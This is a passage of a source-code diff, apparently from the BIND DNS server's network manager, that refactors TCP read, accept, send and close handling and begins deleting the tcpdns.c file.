-	isc__nm_start_reading(sock);
-	isc__nmsocket_timer_start(sock);
-}
-
-void
-isc__nm_tcp_pauseread(isc_nmhandle_t *handle) {
-	isc__netievent_tcppauseread_t *ievent = NULL;
-	isc_nmsocket_t *sock = NULL;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-
-	sock = handle->sock;
-
-	REQUIRE(VALID_NMSOCK(sock));
-
-	if (!atomic_compare_exchange_strong(&sock->readpaused, &(bool){ false },
-					    true)) {
-		return;
+	result = isc__nm_start_reading(sock);
+	if (result != ISC_R_SUCCESS) {
+		goto failure;
 	}
 
-	ievent = isc__nm_get_netievent_tcppauseread(sock->mgr, sock);
-
-	isc__nm_maybe_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				     (isc__netievent_t *)ievent);
+	if (!sock->manual_read_timer) {
+		isc__nmsocket_timer_start(sock);
+	}
 
 	return;
+failure:
+	sock->reading = true;
+	isc__nm_tcp_failed_read_cb(sock, result, true);
 }
 
 void
-isc__nm_async_tcppauseread(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcppauseread_t *ievent =
-		(isc__netievent_tcppauseread_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	UNUSED(worker);
-
-	isc__nmsocket_timer_stop(sock);
-	isc__nm_stop_reading(sock);
-}
-
-void
-isc__nm_tcp_resumeread(isc_nmhandle_t *handle) {
+isc__nm_tcp_read_stop(isc_nmhandle_t *handle) {
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	isc__netievent_tcpstartread_t *ievent = NULL;
 	isc_nmsocket_t *sock = handle->sock;
 
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (sock->recv_cb == NULL) {
-		/* We are no longer reading */
-		return;
-	}
-
-	if (!isc__nmsocket_active(sock)) {
-		sock->reading = true;
-		isc__nm_tcp_failed_read_cb(sock, ISC_R_CANCELED);
-		return;
-	}
-
-	if (!atomic_compare_exchange_strong(&sock->readpaused, &(bool){ true },
-					    false)) {
-		return;
-	}
-
-	ievent = isc__nm_get_netievent_tcpstartread(sock->mgr, sock);
+	isc__nmsocket_timer_stop(sock);
+	isc__nm_stop_reading(sock);
 
-	isc__nm_maybe_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				     (isc__netievent_t *)ievent);
+	return;
 }
 
 void
 isc__nm_tcp_read_cb(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf) {
 	isc_nmsocket_t *sock = uv_handle_get_data((uv_handle_t *)stream);
 	isc__nm_uvreq_t *req = NULL;
+	isc_nm_t *netmgr = NULL;
 
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->reading);
+	REQUIRE(sock->tid == isc_tid());
 	REQUIRE(buf != NULL);
 
+	netmgr = sock->worker->netmgr;
+
 	if (isc__nmsocket_closing(sock)) {
-		isc__nm_tcp_failed_read_cb(sock, ISC_R_CANCELED);
+		isc__nm_tcp_failed_read_cb(sock, ISC_R_CANCELED, false);
 		goto free;
 	}
 
 	if (nread < 0) {
 		if (nread != UV_EOF) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_RECVFAIL]);
+			isc__nm_incstats(sock, STATID_RECVFAIL);
 		}
 
-		isc__nm_tcp_failed_read_cb(sock, isc__nm_uverr2result(nread));
+		isc__nm_tcp_failed_read_cb(sock, isc_uverr2result(nread),
+					   false);
 
 		goto free;
 	}
@@ -885,116 +760,118 @@ isc__nm_tcp_read_cb(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf) {
 	req->uvbuf.base = buf->base;
 	req->uvbuf.len = nread;
 
-	if (!atomic_load(&sock->client)) {
+	if (!sock->client) {
 		sock->read_timeout =
-			(atomic_load(&sock->keepalive)
-				 ? atomic_load(&sock->mgr->keepalive)
-				 : atomic_load(&sock->mgr->idle));
+			sock->keepalive
+				? atomic_load_relaxed(&netmgr->keepalive)
+				: atomic_load_relaxed(&netmgr->idle);
 	}
 
-	isc__nm_readcb(sock, req, ISC_R_SUCCESS);
+	isc__nm_readcb(sock, req, ISC_R_SUCCESS, false);
 
 	/* The readcb could have paused the reading */
-	if (sock->reading) {
+	if (sock->reading && !sock->manual_read_timer) {
 		/* The timer will be updated */
 		isc__nmsocket_timer_restart(sock);
 	}
 
 free:
+	if (nread < 0) {
+		/*
+		 * The buffer may be a null buffer on error.
+		 */
+		if (buf->base == NULL && buf->len == 0) {
+			return;
+		}
+	}
+
 	isc__nm_free_uvbuf(sock, buf);
 }
 
+/*
+ * This is called after we get a quota_accept_cb() callback.
+ */
 static void
-quota_accept_cb(isc_quota_t *quota, void *sock0) {
-	isc_nmsocket_t *sock = (isc_nmsocket_t *)sock0;
-	isc__netievent_tcpaccept_t *ievent = NULL;
+tcpaccept_cb(void *arg) {
+	isc_nmsocket_t *csock = arg;
+	isc_nmsocket_t *ssock = csock->server;
 
-	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(VALID_NMSOCK(csock));
+	REQUIRE(csock->tid == isc_tid());
 
-	/*
-	 * Create a tcpaccept event and pass it using the async channel.
-	 */
-	ievent = isc__nm_get_netievent_tcpaccept(sock->mgr, sock, quota);
-	isc__nm_maybe_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				     (isc__netievent_t *)ievent);
+	isc_result_t result = accept_connection(csock);
+	isc__nm_accept_connection_log(ssock, result, can_log_tcp_quota());
+	isc__nmsocket_detach(&csock);
 }
 
-/*
- * This is called after we get a quota_accept_cb() callback.
- */
-void
-isc__nm_async_tcpaccept(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpaccept_t *ievent = (isc__netievent_tcpaccept_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc_result_t result;
+static void
+quota_accept_cb(void *arg) {
+	isc_nmsocket_t *csock = arg;
+	isc_nmsocket_t *ssock = csock->server;
 
-	UNUSED(worker);
+	REQUIRE(VALID_NMSOCK(csock));
 
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	result = accept_connection(sock, ievent->quota);
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOCONN) {
-		if ((result != ISC_R_QUOTA && result != ISC_R_SOFTQUOTA) ||
-		    can_log_tcp_quota()) {
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-				      "TCP connection failed: %s",
-				      isc_result_totext(result));
-		}
+	/*
+	 * This needs to be asynchronous, because the quota might have been
+	 * released by a different child socket.
+	 */
+	if (csock->tid == isc_tid()) {
+		isc_result_t result = accept_connection(csock);
+		isc__nm_accept_connection_log(ssock, result,
+					      can_log_tcp_quota());
+	} else {
+		isc__nmsocket_attach(csock, &(isc_nmsocket_t *){ NULL });
+		isc_async_run(csock->worker->loop, tcpaccept_cb, csock);
 	}
 }
 
 static isc_result_t
-accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota) {
-	isc_nmsocket_t *csock = NULL;
-	isc__networker_t *worker = NULL;
+accept_connection(isc_nmsocket_t *csock) {
 	int r;
 	isc_result_t result;
 	struct sockaddr_storage ss;
 	isc_sockaddr_t local;
 	isc_nmhandle_t *handle = NULL;
 
-	REQUIRE(VALID_NMSOCK(ssock));
-	REQUIRE(ssock->tid == isc_nm_tid());
-
-	if (isc__nmsocket_closing(ssock)) {
-		if (quota != NULL) {
-			isc_quota_detach(&quota);
-		}
-		return (ISC_R_CANCELED);
-	}
+	REQUIRE(VALID_NMSOCK(csock));
+	REQUIRE(VALID_NMSOCK(csock->server));
+	REQUIRE(csock->tid == isc_tid());
 
-	csock = isc_mem_get(ssock->mgr->mctx, sizeof(isc_nmsocket_t));
-	isc__nmsocket_init(csock, ssock->mgr, isc_nm_tcpsocket, &ssock->iface);
-	csock->tid = ssock->tid;
-	csock->extrahandlesize = ssock->extrahandlesize;
-	isc__nmsocket_attach(ssock, &csock->server);
-	csock->recv_cb = ssock->recv_cb;
-	csock->recv_cbarg = ssock->recv_cbarg;
-	csock->quota = quota;
 	csock->accepting = true;
-
-	worker = &csock->mgr->workers[isc_nm_tid()];
-
-	r = uv_tcp_init(&worker->loop, &csock->uv_handle.tcp);
-	RUNTIME_CHECK(r == 0);
+	csock->accept_cb = csock->server->accept_cb;
+	csock->accept_cbarg = csock->server->accept_cbarg;
+	csock->recv_cb = csock->server->recv_cb;
+	csock->recv_cbarg = csock->server->recv_cbarg;
+	csock->read_timeout = atomic_load_relaxed(&csock->worker->netmgr->init);
+
+	r = uv_tcp_init(&csock->worker->loop->loop, &csock->uv_handle.tcp);
+	UV_RUNTIME_CHECK(uv_tcp_init, r);
 	uv_handle_set_data(&csock->uv_handle.handle, csock);
 
-	r = uv_timer_init(&worker->loop, &csock->timer);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data((uv_handle_t *)&csock->timer, csock);
+	r = uv_timer_init(&csock->worker->loop->loop, &csock->read_timer);
+	UV_RUNTIME_CHECK(uv_timer_init, r);
+	uv_handle_set_data((uv_handle_t *)&csock->read_timer, csock);
+
+	/*
+	 * We need to initialize the tcp and timer before failing because
+	 * isc__nm_tcp_close() can't handle uninitalized TCP nmsocket.
+	 */
+	if (isc__nmsocket_closing(csock)) {
+		result = ISC_R_CANCELED;
+		goto failure;
+	}
 
-	r = uv_accept(&ssock->uv_handle.stream, &csock->uv_handle.stream);
+	r = uv_accept(&csock->server->uv_handle.stream,
+		      &csock->uv_handle.stream);
 	if (r != 0) {
-		result = isc__nm_uverr2result(r);
+		result = isc_uverr2result(r);
 		goto failure;
 	}
 
 	r = uv_tcp_getpeername(&csock->uv_handle.tcp, (struct sockaddr *)&ss,
 			       &(int){ sizeof(ss) });
 	if (r != 0) {
-		result = isc__nm_uverr2result(r);
+		result = isc_uverr2result(r);
 		goto failure;
 	}
 
@@ -1007,7 +884,7 @@ accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota) {
 	r = uv_tcp_getsockname(&csock->uv_handle.tcp, (struct sockaddr *)&ss,
 			       &(int){ sizeof(ss) });
 	if (r != 0) {
-		result = isc__nm_uverr2result(r);
+		result = isc_uverr2result(r);
 		goto failure;
 	}
 
@@ -1018,7 +895,7 @@ accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota) {
 
 	handle = isc__nmhandle_get(csock, NULL, &local);
 
-	result = ssock->accept_cb(handle, ISC_R_SUCCESS, ssock->accept_cbarg);
+	result = csock->accept_cb(handle, ISC_R_SUCCESS, csock->accept_cbarg);
 	if (result != ISC_R_SUCCESS) {
 		isc_nmhandle_detach(&handle);
 		goto failure;
@@ -1026,11 +903,7 @@ accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota) {
 
 	csock->accepting = false;
 
-	isc__nm_incstats(csock->mgr, csock->statsindex[STATID_ACCEPT]);
-
-	csock->read_timeout = atomic_load(&csock->mgr->init);
-
-	atomic_fetch_add(&ssock->parent->active_child_connections, 1);
+	isc__nm_incstats(csock, STATID_ACCEPT);
 
 	/*
 	 * The acceptcb needs to attach to the handle if it wants to keep the
@@ -1038,6 +911,10 @@ accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota) {
 	 */
 	isc_nmhandle_detach(&handle);
 
+	if (csock->statichandle != NULL) {
+		INSIST(csock->recv_cb != NULL);
+	}
+
 	/*
 	 * sock is now attached to the handle.
 	 */
@@ -1046,9 +923,15 @@ accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota) {
 	return (ISC_R_SUCCESS);
 
 failure:
-	atomic_store(&csock->active, false);
+	csock->active = false;
+	csock->accepting = false;
 
-	failed_accept_cb(csock, result);
+	if (result != ISC_R_NOTCONNECTED) {
+		/* IGNORE: The client disconnected before we could accept */
+		isc__nmsocket_log(csock, ISC_LOG_ERROR,
+				  "Accepting TCP connection failed: %s",
+				  isc_result_totext(result));
+	}
 
 	isc__nmsocket_prep_destroy(csock);
 
@@ -1057,19 +940,24 @@ accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota) {
 	return (result);
 }
 
-void
-isc__nm_tcp_send(isc_nmhandle_t *handle, const isc_region_t *region,
-		 isc_nm_cb_t cb, void *cbarg) {
+static void
+tcp_send(isc_nmhandle_t *handle, const isc_region_t *region, isc_nm_cb_t cb,
+	 void *cbarg, const bool dnsmsg) {
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
 
 	isc_nmsocket_t *sock = handle->sock;
-	isc__netievent_tcpsend_t *ievent = NULL;
+	isc_result_t result;
 	isc__nm_uvreq_t *uvreq = NULL;
+	isc_nm_t *netmgr = sock->worker->netmgr;
 
 	REQUIRE(sock->type == isc_nm_tcpsocket);
+	REQUIRE(sock->tid == isc_tid());
 
-	uvreq = isc__nm_uvreq_get(sock->mgr, sock);
+	uvreq = isc__nm_uvreq_get(sock);
+	if (dnsmsg) {
+		*(uint16_t *)uvreq->tcplen = htons(region->length);
+	}
 	uvreq->uvbuf.base = (char *)region->base;
 	uvreq->uvbuf.len = region->length;
 
@@ -1078,115 +966,151 @@ isc__nm_tcp_send(isc_nmhandle_t *handle, const isc_region_t *region,
 	uvreq->cb.send = cb;
 	uvreq->cbarg = cbarg;
 
-	ievent = isc__nm_get_netievent_tcpsend(sock->mgr, sock, uvreq);
-	isc__nm_maybe_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				     (isc__netievent_t *)ievent);
+	if (sock->write_timeout == 0) {
+		sock->write_timeout =
+			sock->keepalive
+				? atomic_load_relaxed(&netmgr->keepalive)
+				: atomic_load_relaxed(&netmgr->idle);
+	}
+
+	result = tcp_send_direct(sock, uvreq);
+	if (result != ISC_R_SUCCESS) {
+		isc__nm_incstats(sock, STATID_SENDFAIL);
+		isc__nm_failed_send_cb(sock, uvreq, result, true);
+	}
 
 	return;
 }
 
+void
+isc__nm_tcp_send(isc_nmhandle_t *handle, const isc_region_t *region,
+		 isc_nm_cb_t cb, void *cbarg) {
+	tcp_send(handle, region, cb, cbarg, false);
+}
+
+void
+isc__nm_tcp_senddns(isc_nmhandle_t *handle, const isc_region_t *region,
+		    isc_nm_cb_t cb, void *cbarg) {
+	tcp_send(handle, region, cb, cbarg, true);
+}
+
 static void
 tcp_send_cb(uv_write_t *req, int status) {
 	isc__nm_uvreq_t *uvreq = (isc__nm_uvreq_t *)req->data;
+	isc_nmsocket_t *sock = NULL;
+
 	REQUIRE(VALID_UVREQ(uvreq));
-	REQUIRE(VALID_NMHANDLE(uvreq->handle));
+	REQUIRE(VALID_NMSOCK(uvreq->sock));
 
-	isc_nmsocket_t *sock = uvreq->sock;
+	sock = uvreq->sock;
+
+	isc_nm_timer_stop(uvreq->timer);
+	isc_nm_timer_detach(&uvreq->timer);
 
 	if (status < 0) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_SENDFAIL]);
-		failed_send_cb(sock, uvreq, isc__nm_uverr2result(status));
+		isc__nm_incstats(sock, STATID_SENDFAIL);
+		isc__nm_failed_send_cb(sock, uvreq, isc_uverr2result(status),
+				       false);
 		return;
 	}
 
 	isc__nm_sendcb(sock, uvreq, ISC_R_SUCCESS, false);
 }
 
-/*
- * Handle 'tcpsend' async event - send a packet on the socket
- */
-void
-isc__nm_async_tcpsend(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc_result_t result;
-	isc__netievent_tcpsend_t *ievent = (isc__netievent_tcpsend_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *uvreq = ievent->req;
-
-	REQUIRE(sock->type == isc_nm_tcpsocket);
-	REQUIRE(sock->tid == isc_nm_tid());
-	UNUSED(worker);
-
-	result = tcp_send_direct(sock, uvreq);
-	if (result != ISC_R_SUCCESS) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_SENDFAIL]);
-		failed_send_cb(sock, uvreq, result);
-	}
-}
-
 static isc_result_t
 tcp_send_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(VALID_UVREQ(req));
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(sock->tid == isc_tid());
 	REQUIRE(sock->type == isc_nm_tcpsocket);
 
 	int r;
+	uv_buf_t bufs[2] = { { 0 }, { 0 } }; /* ugly, but required for old GCC
+						versions */
+	size_t nbufs = 1;
 
 	if (isc__nmsocket_closing(sock)) {
 		return (ISC_R_CANCELED);
 	}
 
-	r = uv_write(&req->uv_req.write, &sock->uv_handle.stream, &req->uvbuf,
-		     1, tcp_send_cb);
-	if (r < 0) {
-		return (isc__nm_uverr2result(r));
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static void
-tcp_stop_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-	uv_handle_set_data(handle, NULL);
+	/* Check if we are not trying to send a DNS message */
+	if (*(uint16_t *)req->tcplen == 0) {
+		bufs[0].base = req->uvbuf.base;
+		bufs[0].len = req->uvbuf.len;
 
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
+		r = uv_try_write(&sock->uv_handle.stream, bufs, nbufs);
 
-	if (!atomic_compare_exchange_strong(&sock->closed, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		if (r == (int)(bufs[0].len)) {
+			/* Wrote everything */
+			isc__nm_sendcb(sock, req, ISC_R_SUCCESS, true);
+			return (ISC_R_SUCCESS);
+		} else if (r > 0) {
+			bufs[0].base += (size_t)r;
+			bufs[0].len -= (size_t)r;
+		} else if (!(r == UV_ENOSYS || r == UV_EAGAIN)) {
+			return (isc_uverr2result(r));
+		}
+	} else {
+		nbufs = 2;
+		bufs[0].base = req->tcplen;
+		bufs[0].len = 2;
+		bufs[1].base = req->uvbuf.base;
+		bufs[1].len = req->uvbuf.len;
+
+		r = uv_try_write(&sock->uv_handle.stream, bufs, nbufs);
+
+		if (r == (int)(bufs[0].len + bufs[1].len)) {
+			/* Wrote everything */
+			isc__nm_sendcb(sock, req, ISC_R_SUCCESS, true);
+			return (ISC_R_SUCCESS);
+		} else if (r == 1) {
+			/* Partial write of DNSMSG length */
+			bufs[0].base = req->tcplen + 1;
+			bufs[0].len = 1;
+		} else if (r > 0) {
+			/* Partial write of DNSMSG */
+			nbufs = 1;
+			bufs[0].base = req->uvbuf.base + (r - 2);
+			bufs[0].len = req->uvbuf.len - (r - 2);
+		} else if (!(r == UV_ENOSYS || r == UV_EAGAIN)) {
+			return (isc_uverr2result(r));
+		}
 	}
 
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CLOSE]);
+	r = uv_write(&req->uv_req.write, &sock->uv_handle.stream, bufs, nbufs,
+		     tcp_send_cb);
+	if (r < 0) {
+		return (isc_uverr2result(r));
+	}
 
-	atomic_store(&sock->listening, false);
+	isc_nm_timer_create(req->handle, isc__nmsocket_writetimeout_cb, req,
+			    &req->timer);
+	if (sock->write_timeout > 0) {
+		isc_nm_timer_start(req->timer, sock->write_timeout);
+	}
 
-	isc__nmsocket_detach(&sock);
+	return (ISC_R_SUCCESS);
 }
 
 static void
 tcp_close_sock(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(sock->closing);
+	REQUIRE(!sock->closed);
 
-	if (!atomic_compare_exchange_strong(&sock->closed, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
+	sock->closed = true;
+	sock->connected = false;
 
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CLOSE]);
+	isc__nm_incstats(sock, STATID_CLOSE);
 
 	if (sock->server != NULL) {
+		if (sock->server->pquota != NULL) {
+			isc_quota_release(sock->server->pquota);
+		}
 		isc__nmsocket_detach(&sock->server);
 	}
 
-	atomic_store(&sock->connected, false);
-
 	isc__nmsocket_prep_destroy(sock);
 }
 
@@ -1198,133 +1122,42 @@ tcp_close_cb(uv_handle_t *handle) {
 	tcp_close_sock(sock);
 }
 
-static void
-timer_close_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-	uv_handle_set_data(handle, NULL);
-
-	if (sock->parent) {
-		uv_close(&sock->uv_handle.handle, tcp_stop_cb);
-	} else if (uv_is_closing(&sock->uv_handle.handle)) {
-		tcp_close_sock(sock);
-	} else {
-		uv_close(&sock->uv_handle.handle, tcp_close_cb);
-	}
-}
-
-static void
-stop_tcp_child(isc_nmsocket_t *sock) {
-	REQUIRE(sock->type == isc_nm_tcpsocket);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
-
-	tcp_close_direct(sock);
-
-	atomic_fetch_sub(&sock->parent->rchildren, 1);
-
-	isc_barrier_wait(&sock->parent->stoplistening);
-}
-
-static void
-stop_tcp_parent(isc_nmsocket_t *sock) {
-	isc_nmsocket_t *csock = NULL;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->type == isc_nm_tcplistener);
-
-	isc_barrier_init(&sock->stoplistening, sock->nchildren);
-
-	for (size_t i = 0; i < sock->nchildren; i++) {
-		csock = &sock->children[i];
-		REQUIRE(VALID_NMSOCK(csock));
-
-		if ((int)i == isc_nm_tid()) {
-			/*
-			 * We need to schedule closing the other sockets first
-			 */
-			continue;
-		}
-
-		atomic_store(&csock->active, false);
-		enqueue_stoplistening(csock);
-	}
-
-	csock = &sock->children[isc_nm_tid()];
-	atomic_store(&csock->active, false);
-	stop_tcp_child(csock);
-
-	atomic_store(&sock->closed, true);
-	isc__nmsocket_prep_destroy(sock);
-}
-
-static void
-tcp_close_direct(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
-
-	if (sock->server != NULL) {
-		REQUIRE(VALID_NMSOCK(sock->server));
-		REQUIRE(VALID_NMSOCK(sock->server->parent));
-		if (sock->server->parent != NULL) {
-			atomic_fetch_sub(
-				&sock->server->parent->active_child_connections,
-				1);
-		}
-	}
-
-	if (sock->quota != NULL) {
-		isc_quota_detach(&sock->quota);
-	}
-
-	isc__nmsocket_timer_stop(sock);
-	isc__nm_stop_reading(sock);
-
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
-	uv_close((uv_handle_t *)&sock->timer, timer_close_cb);
-}
-
 void
 isc__nm_tcp_close(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(sock->type == isc_nm_tcpsocket);
 	REQUIRE(!isc__nmsocket_active(sock));
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(sock->parent == NULL);
+	REQUIRE(!sock->closing);
 
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
-
-	if (sock->tid == isc_nm_tid()) {
-		tcp_close_direct(sock);
-	} else {
-		/*
-		 * We need to create an event and pass it using async channel
-		 */
-		isc__netievent_tcpclose_t *ievent =
-			isc__nm_get_netievent_tcpclose(sock->mgr, sock);
+	sock->closing = true;
 
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
-	}
-}
+	/*
+	 * The order of the close operation is important here, the uv_close()
+	 * gets scheduled in the reverse order, so we need to close the timer
+	 * last, so its gone by the time we destroy the socket
+	 */
 
-void
-isc__nm_async_tcpclose(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpclose_t *ievent = (isc__netievent_tcpclose_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
+	if (!uv_is_closing(&sock->uv_handle.handle)) {
+		/* Normal order of operation */
 
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
+		/* 2. close the socket + destroy the socket in callback */
+		isc__nmsocket_clearcb(sock);
+		isc__nm_stop_reading(sock);
+		uv_close(&sock->uv_handle.handle, tcp_close_cb);
 
-	UNUSED(worker);
+		/* 1. close the timer */
+		isc__nmsocket_timer_stop(sock);
+		uv_close((uv_handle_t *)&sock->read_timer, NULL);
+	} else {
+		/* The socket was already closed elsewhere */
 
-	tcp_close_direct(sock);
+		/* 1. close the timer + destroy the socket in callback */
+		isc__nmsocket_timer_stop(sock);
+		uv_handle_set_data((uv_handle_t *)&sock->read_timer, sock);
+		uv_close((uv_handle_t *)&sock->read_timer, tcp_close_cb);
+	}
 }
 
 static void
@@ -1333,8 +1166,7 @@ tcp_close_connect_cb(uv_handle_t *handle) {
 
 	REQUIRE(VALID_NMSOCK(sock));
 
-	REQUIRE(isc__nm_in_netthread());
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(sock->tid == isc_tid());
 
 	isc__nmsocket_prep_destroy(sock);
 	isc__nmsocket_detach(&sock);
@@ -1343,79 +1175,55 @@ tcp_close_connect_cb(uv_handle_t *handle) {
 void
 isc__nm_tcp_shutdown(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(sock->tid == isc_tid());
 	REQUIRE(sock->type == isc_nm_tcpsocket);
 
 	/*
 	 * If the socket is active, mark it inactive and
 	 * continue. If it isn't active, stop now.
 	 */
-	if (!isc__nmsocket_deactivate(sock)) {
+	if (!sock->active) {
 		return;
 	}
+	sock->active = false;
 
-	if (sock->accepting) {
-		return;
-	}
+	INSIST(!sock->accepting);
 
-	if (atomic_load(&sock->connecting)) {
+	if (sock->connecting) {
 		isc_nmsocket_t *tsock = NULL;
 		isc__nmsocket_attach(sock, &tsock);
 		uv_close(&sock->uv_handle.handle, tcp_close_connect_cb);
 		return;
 	}
 
-	if (sock->statichandle != NULL) {
-		isc__nm_tcp_failed_read_cb(sock, ISC_R_CANCELED);
+	/* There's a handle attached to the socket (from accept or connect) */
+	if (sock->statichandle) {
+		isc__nm_failed_read_cb(sock, ISC_R_SHUTTINGDOWN, false);
 		return;
 	}
 
-	/*
-	 * Otherwise, we just send the socket to abyss...
-	 */
+	/* Destroy the non-listening socket */
 	if (sock->parent == NULL) {
 		isc__nmsocket_prep_destroy(sock);
+		return;
+	}
+
+	/* Destroy the listening socket if on the same loop */
+	if (sock->tid == sock->parent->tid) {
+		isc__nmsocket_prep_destroy(sock->parent);
 	}
 }
 
 void
-isc__nm_tcp_cancelread(isc_nmhandle_t *handle) {
-	isc_nmsocket_t *sock = NULL;
-	isc__netievent_tcpcancel_t *ievent = NULL;
+isc__nmhandle_tcp_set_manual_timer(isc_nmhandle_t *handle, const bool manual) {
+	isc_nmsocket_t *sock;
 
 	REQUIRE(VALID_NMHANDLE(handle));
-
 	sock = handle->sock;
-
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(sock->type == isc_nm_tcpsocket);
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(!sock->reading);
 
-	ievent = isc__nm_get_netievent_tcpcancel(sock->mgr, sock, handle);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
-
-void
-isc__nm_async_tcpcancel(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpcancel_t *ievent = (isc__netievent_tcpcancel_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	UNUSED(worker);
-
-	uv_timer_stop(&sock->timer);
-
-	isc__nm_tcp_failed_read_cb(sock, ISC_R_EOF);
-}
-
-int_fast32_t
-isc__nm_tcp_listener_nactive(isc_nmsocket_t *listener) {
-	int_fast32_t nactive;
-
-	REQUIRE(VALID_NMSOCK(listener));
-
-	nactive = atomic_load(&listener->active_child_connections);
-	INSIST(nactive >= 0);
-	return (nactive);
+	sock->manual_read_timer = manual;
 }
diff --git a/lib/isc/netmgr/tcpdns.c b/lib/isc/netmgr/tcpdns.c
deleted file mode 100644
index 223c8d6303..0000000000
--- a/lib/isc/netmgr/tcpdns.c
+++ /dev/null
@@ -1,1474 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <libgen.h>
-#include <unistd.h>
-#include <uv.h>
-
-#include <isc/atomic.h>
-#include <isc/barrier.h>
-#include <isc/buffer.h>
-#include <isc/condition.h>
-#include <isc/errno.h>
-#include <isc/log.h>
-#include <isc/magic.h>
-#include <isc/mem.h>
-#include <isc/netmgr.h>
-#include <isc/quota.h>
-#include <isc/random.h>
-#include <isc/refcount.h>
-#include <isc/region.h>
-#include <isc/result.h>
-#include <isc/sockaddr.h>
-#include <isc/stdtime.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#include "netmgr-int.h"
-#include "uv-compat.h"
-
-/*%<
- *
- * Maximum number of simultaneous handles in flight supported for a single
- * connected TCPDNS socket. This value was chosen arbitrarily, and may be
- * changed in the future.
- */
-
